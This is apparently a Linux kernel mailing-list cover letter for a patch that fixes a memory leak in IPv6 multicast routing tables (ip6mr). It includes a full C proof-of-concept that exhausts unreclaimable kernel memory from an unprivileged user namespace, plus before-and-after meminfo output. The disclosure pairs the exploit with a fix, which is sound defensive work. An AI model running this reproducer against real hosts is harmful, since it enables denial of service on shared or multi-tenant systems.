[PATCH net v2 0/1] ipv6: ip6mr: fix mr_table leak from MRT6_TABLE

From: Zihan Xi

Date: Sat Sep 05 2026 - 12:30:50 EST


Hi Linux kernel maintainers,

We found and validated a mr_table leak in net/ipv6/ip6mr.c. The bug is
reachable by a process with CAP_NET_ADMIN and CAP_NET_RAW in the target
user and net namespace, including via unshare -Urn.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

MRT6_TABLE is supposed to select an IPv6 multicast routing table id.
ip6_mroute_setsockopt() currently calls ip6mr_new_table() for every
unseen id and links the new mr_table into mr6_tables. ip6mr_sk_done()
only clears mroute_sk and flushes MIF/MFC state, so the table stays
published until the net namespace is torn down.

A raw ICMPv6 socket can therefore loop MRT6_TABLE(fresh id) without
MRT6_INIT, close the socket, and still leave the allocations behind.
The same hole exists after MRT6_TABLE plus a successful MRT6_INIT,
MRT6_ADD_MIF or MRT6_ADD_MFC: DONE or close still leaves an empty
non-default table in mr6_tables.

On an unfixed 7.3.0-rc1 kernel in a 2 vCPU, 2 GB QEMU VM, 30000 ids
grew Slab from 25696 kB to 148400 kB (+122704 kB) and SUnreclaim from
18108 kB to 140812 kB. setsockopt() still returned 0; that run did not
panic. The log below is from that kernel. There is no stack trace to
decode.

This behavior was introduced with multiple-table support. Later
changes only made the path easier to hit, so Fixes: still points at
commit d1db275dd3f6 ("ipv6: ip6mr: support multiple tables").

The patch keeps MRT6_TABLE as a selector: it only stores the chosen
id on the socket. The table is created later, under RTNL, when a
command actually needs it (MRT6_INIT, MRT6_ADD_MIF, MRT6_ADD_MFC, or
MRT6_ADD_MFC_PROXY). That matches existing users such as the ipmr
selftest, which issues MRT6_TABLE and then ADD_MIF without INIT.

The new table is published before INIT/ADD so a VIF or MFC notifier
cannot fire against a tb_id that dump cannot see yet. If that command
fails, the still-empty table is unlinked and freed in the same
syscall. After DONE, close, DEL_MIF, DEL_MFC, FLUSH or device
unregister, an empty non-default table is dropped from mr6_tables.
The device notifier only reclaims when this unregister actually
removed a VIF, so a nested pimreg unregister cannot destroy the table
twice. If DEL_MIF leaves unresolved MFC entries, the expire timer
later queues that reclaim onto RTNL. The default table is left in
place.

The leak is a setsockopt lifetime bug, not a packet-sequence bug, so
the reproducer is a raw ICMPv6 socket program rather than
packetdrill.

Reproducer:

gcc -O2 -static -o poc poc.c
unshare -Urn ./poc

setsockopt() still returns 0 after the fix, so compare Slab and
SUnreclaim in /proc/meminfo before and after. Take those numbers in a
persistent net namespace. unshare -Urn ./poc is enough to prove
reachability, but it destroys the namespace on exit, so the parent
/proc/meminfo cannot show the leftover tables.

The meminfo numbers below were taken with:

./poc 30000 1

On the unfixed 7.3.0-rc1 kernel the loop grows unreclaimable slab; on
the fixed kernel it does not.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute6.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static void die(const char *msg)
{
perror(msg);
exit(1);
}

static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [count] [start_table]\n"
" count: number of new MRT6 table ids to allocate (default: 200000)\n"
" start_table: first table id to use (default: 1)\n",
prog);
exit(1);
}

int main(int argc, char **argv)
{
unsigned int count = 200000;
unsigned int start = 1;
unsigned int i;
int fd;

if (argc > 3)
usage(argv[0]);
if (argc >= 2)
count = strtoul(argv[1], NULL, 0);
if (argc == 3)
start = strtoul(argv[2], NULL, 0);

if (count == 0 || start == 0 || start >= 100000000U)
usage(argv[0]);

fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
if (fd < 0)
die("socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)");

for (i = 0; i < count; i++) {
u_int32_t table = start + i;

if (table >= 100000000U) {
fprintf(stderr, "stopped before invalid table id %u\n", table);
break;
}

if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table,
sizeof(table)) < 0) {
fprintf(stderr,
"setsockopt(MRT6_TABLE, %u) failed after %u allocations: %s\n",
table, i, strerror(errno));
close(fd);
return 2;
}

if ((i % 10000) == 0) {
struct rusage ru;

if (!getrusage(RUSAGE_SELF, &ru))
fprintf(stderr,
"allocated=%u current_table=%u maxrss_kb=%ld\n",
i + 1, table, ru.ru_maxrss);
else
fprintf(stderr, "allocated=%u current_table=%u\n",
i + 1, table);
}
}

fprintf(stderr,
"done: allocated %u tables on one socket without MRT6_INIT; closing socket now\n",
i);
close(fd);
sleep(2);
fprintf(stderr, "socket closed; tables persist until netns teardown\n");
return 0;
}
------END poc.c--------

----BEGIN crash log----
Linux syzkaller 7.3.0-rc1-00240-g641d03105cc0 #2 SMP PREEMPT_DYNAMIC Sat Sep 5 21:32:21 CST 2026 x86_64 GNU/Linux

./poc 30000 1

allocated=1 current_table=1 maxrss_kb=1188
allocated=10001 current_table=10001 maxrss_kb=1188
allocated=20001 current_table=20001 maxrss_kb=1188
done: allocated 30000 tables on one socket without MRT6_INIT; closing socket now
socket closed; tables persist until netns teardown
RET:0

before:
MemAvailable: 1907696 kB
Slab: 25696 kB
SUnreclaim: 18108 kB

after:
MemAvailable: 1810360 kB
Slab: 148400 kB
SUnreclaim: 140812 kB
-----END crash log-----

Best regards,
Zihan Xi


Zihan Xi (1):
ipv6: ip6mr: fix mr_table leak from MRT6_TABLE

net/ipv6/ip6mr.c | 327 ++++++++++++++++++++++++++++++++++++++++-------
1 file changed, 280 insertions(+), 47 deletions(-)


base-commit: 641d03105cc0d2437e32fdeec164f91a4ccef6c4
--
2.43.0